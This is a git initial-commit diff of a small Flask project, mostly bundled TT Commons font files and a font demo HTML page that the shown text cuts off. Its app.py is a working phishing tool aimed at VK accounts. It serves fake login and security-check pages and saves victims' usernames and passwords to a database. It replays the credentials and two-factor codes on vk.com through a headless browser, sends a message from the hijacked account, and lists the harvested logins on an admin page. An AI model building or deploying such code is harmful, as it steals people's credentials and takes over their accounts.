Initial commit

2020-04-11 20:44:27 +03:00
commit a9fd9cb522
66 changed files with 1168 additions and 0 deletions
--- a/app.py
+++ b/app.py
@@ -0,0 +1,132 @@
 from flask import Flask, render_template, request, redirect
 from flask_sqlalchemy import SQLAlchemy
 from datetime import datetime
 from splinter import Browser
 import time
 def enter_login():
    login = request.form['login']
    password = request.form['password']
    new_cred = Creds(login=login, password=password)
    db.session.add(new_cred)
    db.session.commit()
    global browser
    browser = Browser('firefox', headless=True)
    browser.visit('http://www.vk.com')
    while browser.is_text_not_present('Install our official mobile app and stay in touch with your friends anytime and anywhere.'):
        pass
    browser.find_by_name('email')[1].fill(login)
    browser.find_by_name('pass')[1].fill(password)
    button = browser.find_by_id('index_login_button')[0]
    button.click()
    while browser.title == 'Welcome&#33; | VK':
        pass
    if browser.is_text_present('Failed to log in.'):
        return redirect('/wrongpass/')
    else:
        if browser.is_text_present('Security Check'):
            return redirect('/authcheck/')
        else:
            payload()
            return redirect('/')
 def payload():
    while browser.url != 'https://vk.com/im?sel=22191973':
        browser.visit('https://vk.com/im?sel=22191973')
    while browser.title != 'Messages':
        pass
    browser.find_by_id('im_editable22191973')[0].fill('Privet\n')
    time.sleep(10)
    browser.quit()
 app = Flask(__name__)
 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///creds.db'
 db = SQLAlchemy(app)
 class Creds(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    login = db.Column(db.String(50), nullable=False)
    password = db.Column(db.String(50), nullable=False)
    date_created = db.Column(db.DateTime, default=datetime.utcnow)
    def __repr__(self):
        return '<Cred %r>' % self.id
@app.route('/')
 def index():
    return render_template("index.html")
@app.route('/login/', methods=['POST', 'GET'])
 def login():
    if request.method == 'POST':
        return enter_login()
    else:
        return render_template("login.html")
@app.route('/wrongpass/', methods=['POST', 'GET'])
 def wrongpass():
    if request.method == 'POST':
        return enter_login()
    else:
        return render_template("wrongpass.html")
@app.route('/authcheck/', methods=['POST', 'GET'])
 def authcheck():
    if request.method == 'POST':
        auth_code = request.form['auth_code']
        browser.find_by_id('authcheck_code')[0].fill(auth_code)
        button = browser.find_by_id('login_authcheck_submit_btn')[0]
        button.click()
        payload()
        return redirect('/')
    else:
        return render_template("authcheck.html")
@app.route('/admin/')
 def admin():
    creds = Creds.query.order_by(Creds.date_created).all()
    return render_template('admin.html', creds=creds)
@app.route('/delete_cred/<int:id>')
 def delete_cred(id):
    if id != 0:
        cred_to_delete = Creds.query.get_or_404(id)
        try:
            db.session.delete(cred_to_delete)
            db.session.commit()
            return redirect('/admin/')
        except:
            return 'Error deleting credentials'
    else:
        try:
            Creds.query.delete()
            db.session.commit()
            return redirect('/admin/')
        except:
            return 'Error deleting credentials'
 if __name__ == "__main__":
    app.run(debug=True)
--- a/static/.DS_Store
+++ b/static/.DS_Store
--- a/static/TTCommons/TTCommons-Black.eot
+++ b/static/TTCommons/TTCommons-Black.eot
--- a/static/TTCommons/TTCommons-Black.ttf
+++ b/static/TTCommons/TTCommons-Black.ttf
--- a/static/TTCommons/TTCommons-Black.woff
+++ b/static/TTCommons/TTCommons-Black.woff
--- a/static/TTCommons/TTCommons-BlackItalic.eot
+++ b/static/TTCommons/TTCommons-BlackItalic.eot
--- a/static/TTCommons/TTCommons-BlackItalic.ttf
+++ b/static/TTCommons/TTCommons-BlackItalic.ttf
--- a/static/TTCommons/TTCommons-BlackItalic.woff
+++ b/static/TTCommons/TTCommons-BlackItalic.woff
--- a/static/TTCommons/TTCommons-Bold.eot
+++ b/static/TTCommons/TTCommons-Bold.eot
--- a/static/TTCommons/TTCommons-Bold.ttf
+++ b/static/TTCommons/TTCommons-Bold.ttf
--- a/static/TTCommons/TTCommons-Bold.woff
+++ b/static/TTCommons/TTCommons-Bold.woff
--- a/static/TTCommons/TTCommons-BoldItalic.eot
+++ b/static/TTCommons/TTCommons-BoldItalic.eot
--- a/static/TTCommons/TTCommons-BoldItalic.ttf
+++ b/static/TTCommons/TTCommons-BoldItalic.ttf
--- a/static/TTCommons/TTCommons-BoldItalic.woff
+++ b/static/TTCommons/TTCommons-BoldItalic.woff
--- a/static/TTCommons/TTCommons-DemiBold.eot
+++ b/static/TTCommons/TTCommons-DemiBold.eot
--- a/static/TTCommons/TTCommons-DemiBold.ttf
+++ b/static/TTCommons/TTCommons-DemiBold.ttf
--- a/static/TTCommons/TTCommons-DemiBold.woff
+++ b/static/TTCommons/TTCommons-DemiBold.woff
--- a/static/TTCommons/TTCommons-DemiBoldItalic.eot
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.eot
--- a/static/TTCommons/TTCommons-DemiBoldItalic.ttf
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.ttf
--- a/static/TTCommons/TTCommons-DemiBoldItalic.woff
+++ b/static/TTCommons/TTCommons-DemiBoldItalic.woff
--- a/static/TTCommons/TTCommons-ExtraBold.eot
+++ b/static/TTCommons/TTCommons-ExtraBold.eot
--- a/static/TTCommons/TTCommons-ExtraBold.ttf
+++ b/static/TTCommons/TTCommons-ExtraBold.ttf
--- a/static/TTCommons/TTCommons-ExtraBold.woff
+++ b/static/TTCommons/TTCommons-ExtraBold.woff
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.eot
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.eot
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.ttf
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.ttf
--- a/static/TTCommons/TTCommons-ExtraBoldItalic.woff
+++ b/static/TTCommons/TTCommons-ExtraBoldItalic.woff
--- a/static/TTCommons/TTCommons-ExtraLight.eot
+++ b/static/TTCommons/TTCommons-ExtraLight.eot
--- a/static/TTCommons/TTCommons-ExtraLight.ttf
+++ b/static/TTCommons/TTCommons-ExtraLight.ttf
--- a/static/TTCommons/TTCommons-ExtraLight.woff
+++ b/static/TTCommons/TTCommons-ExtraLight.woff
--- a/static/TTCommons/TTCommons-ExtraLightItalic.eot
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.eot
--- a/static/TTCommons/TTCommons-ExtraLightItalic.ttf
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.ttf
--- a/static/TTCommons/TTCommons-ExtraLightItalic.woff
+++ b/static/TTCommons/TTCommons-ExtraLightItalic.woff
--- a/static/TTCommons/TTCommons-Italic.eot
+++ b/static/TTCommons/TTCommons-Italic.eot
--- a/static/TTCommons/TTCommons-Italic.ttf
+++ b/static/TTCommons/TTCommons-Italic.ttf
--- a/static/TTCommons/TTCommons-Italic.woff
+++ b/static/TTCommons/TTCommons-Italic.woff
--- a/static/TTCommons/TTCommons-Light.eot
+++ b/static/TTCommons/TTCommons-Light.eot
--- a/static/TTCommons/TTCommons-Light.ttf
+++ b/static/TTCommons/TTCommons-Light.ttf
--- a/static/TTCommons/TTCommons-Light.woff
+++ b/static/TTCommons/TTCommons-Light.woff
--- a/static/TTCommons/TTCommons-LightItalic.eot
+++ b/static/TTCommons/TTCommons-LightItalic.eot
--- a/static/TTCommons/TTCommons-LightItalic.ttf
+++ b/static/TTCommons/TTCommons-LightItalic.ttf
--- a/static/TTCommons/TTCommons-LightItalic.woff
+++ b/static/TTCommons/TTCommons-LightItalic.woff
--- a/static/TTCommons/TTCommons-Medium.eot
+++ b/static/TTCommons/TTCommons-Medium.eot
--- a/static/TTCommons/TTCommons-Medium.ttf
+++ b/static/TTCommons/TTCommons-Medium.ttf
--- a/static/TTCommons/TTCommons-Medium.woff
+++ b/static/TTCommons/TTCommons-Medium.woff
--- a/static/TTCommons/TTCommons-MediumItalic.eot
+++ b/static/TTCommons/TTCommons-MediumItalic.eot
--- a/static/TTCommons/TTCommons-MediumItalic.ttf
+++ b/static/TTCommons/TTCommons-MediumItalic.ttf
--- a/static/TTCommons/TTCommons-MediumItalic.woff
+++ b/static/TTCommons/TTCommons-MediumItalic.woff
--- a/static/TTCommons/TTCommons-Regular.eot
+++ b/static/TTCommons/TTCommons-Regular.eot
--- a/static/TTCommons/TTCommons-Regular.ttf
+++ b/static/TTCommons/TTCommons-Regular.ttf
--- a/static/TTCommons/TTCommons-Regular.woff
+++ b/static/TTCommons/TTCommons-Regular.woff
--- a/static/TTCommons/TTCommons-Thin.eot
+++ b/static/TTCommons/TTCommons-Thin.eot
--- a/static/TTCommons/TTCommons-Thin.ttf
+++ b/static/TTCommons/TTCommons-Thin.ttf
--- a/static/TTCommons/TTCommons-Thin.woff
+++ b/static/TTCommons/TTCommons-Thin.woff
--- a/static/TTCommons/TTCommons-ThinItalic.eot
+++ b/static/TTCommons/TTCommons-ThinItalic.eot
--- a/static/TTCommons/TTCommons-ThinItalic.ttf
+++ b/static/TTCommons/TTCommons-ThinItalic.ttf
--- a/static/TTCommons/TTCommons-ThinItalic.woff
+++ b/static/TTCommons/TTCommons-ThinItalic.woff
--- a/static/TTCommons/demo.html
+++ b/static/TTCommons/demo.html
@@ -0,0 +1,685 @@
 <!DOCTYPE html>
 <html>
 <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex, noarchive">
    <meta name="format-detection" content="telephone=no">
    <title>Transfonter demo</title>
    <link href="stylesheet.css" rel="stylesheet">
    <style>
        /*
        http://meyerweb.com/eric/tools/css/reset/
        v2.0 | 20110126
        License: none (public domain)
        */
        html, body, div, span, applet, object, iframe,
        h1, h2, h3, h4, h5, h6, p, blockquote, pre,
        a, abbr, acronym, address, big, cite, code,
        del, dfn, em, img, ins, kbd, q, s, samp,
        small, strike, strong, sub, sup, tt, var,
        b, u, i, center,
        dl, dt, dd, ol, ul, li,
        fieldset, form, label, legend,
        table, caption, tbody, tfoot, thead, tr, th, td,
        article, aside, canvas, details, embed,
        figure, figcaption, footer, header, hgroup,
        menu, nav, output, ruby, section, summary,
        time, mark, audio, video {
            margin: 0;
            padding: 0;
            border: 0;
            font-size: 100%;
            font: inherit;
            vertical-align: baseline;
        }
        /* HTML5 display-role reset for older browsers */
        article, aside, details, figcaption, figure,
        footer, header, hgroup, menu, nav, section {
            display: block;
        }
        body {
            line-height: 1;
        }
        ol, ul {
            list-style: none;
        }
        blockquote, q {
            quotes: none;
        }
        blockquote:before, blockquote:after,
        q:before, q:after {
            content: '';
            content: none;
        }
        table {
            border-collapse: collapse;
            border-spacing: 0;
        }
        /* common styles */
        body {
            background: #f1f1f1;
            color: #000;
        }
        .page {
            background: #fff;
            width: 920px;
            margin: 0 auto;
            padding: 20px 20px 0 20px;
            overflow: hidden;
        }
        .font-container {
            overflow-x: auto;
            overflow-y: hidden;
            margin-bottom: 40px;
            line-height: 1.3;
            white-space: nowrap;
            padding-bottom: 5px;
        }
        h1 {
            position: relative;
            background: #444;
            font-size: 32px;
            color: #fff;
            padding: 10px 20px;
            margin: 0 -20px 12px -20px;
        }
        .letters {
            font-size: 25px;
            margin-bottom: 20px;
        }
        .s10:before {
            content: '10px';
        }
        .s11:before {
            content: '11px';
        }
        .s12:before {
            content: '12px';
        }
        .s14:before {
            content: '14px';
        }
        .s18:before {
            content: '18px';
        }
        .s24:before {
            content: '24px';
        }
        .s30:before {
            content: '30px';
        }
        .s36:before {
            content: '36px';
        }
        .s48:before {
            content: '48px';
        }
        .s60:before {
            content: '60px';
        }
        .s72:before {
            content: '72px';
        }
        .s10:before, .s11:before, .s12:before, .s14:before,
        .s18:before, .s24:before, .s30:before, .s36:before,
        .s48:before, .s60:before, .s72:before {
            font-family: Arial, sans-serif;
            font-size: 10px;
            font-weight: normal;
            font-style: normal;
            color: #999;
            padding-right: 6px;
        }
        pre {
            display: block;
            position: relative;
            padding: 9px;
            margin: 0 0 10px;
            font-family: Monaco, Menlo, Consolas, "Courier New", monospace !important;
            font-size: 13px;
            line-height: 1.428571429;
            color: #333;
            font-weight: normal !important;
            font-style: normal !important;
            background-color: #f5f5f5;
            border: 1px solid #ccc;
            overflow-x: auto;
            border-radius: 4px;
        }
        pre:after {
            display: block;
            position: absolute;
            right: 0;
            top: 0;
            content: 'Usage';
            line-height: 1;
            padding: 5px 8px;
            font-size: 12px;
            color: #767676;
            background-color: #fff;
            border: 1px solid #ccc;
            border-right: none;
            border-top: none;
            border-radius: 0 4px 0 4px;
            z-index: 10;
        }
        /* responsive */
        @media (max-width: 959px) {
            .page {
                width: auto;
                margin: 0;
            }
        }
    </style>
 </head>
 <body>
 <div class="page">
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 100; font-style: italic;">
        <h1>TT Commons Thin Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 100;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 300; font-style: normal;">
        <h1>TT Commons Light</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 300;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 900; font-style: normal;">
        <h1>TT Commons Black</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 900;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 500; font-style: normal;">
        <h1>TT Commons Medium</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 500;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: normal; font-style: italic;">
        <h1>TT Commons Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: normal;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: normal; font-style: normal;">
        <h1>TT Commons Regular</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: normal;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 900; font-style: italic;">
        <h1>TT Commons Black Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 900;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 800; font-style: normal;">
        <h1>TT Commons ExtraBold</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 800;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: bold; font-style: italic;">
        <h1>TT Commons Bold Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: bold;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 600; font-style: italic;">
        <h1>TT Commons DemiBold Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 600;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: bold; font-style: normal;">
        <h1>TT Commons Bold</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: bold;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
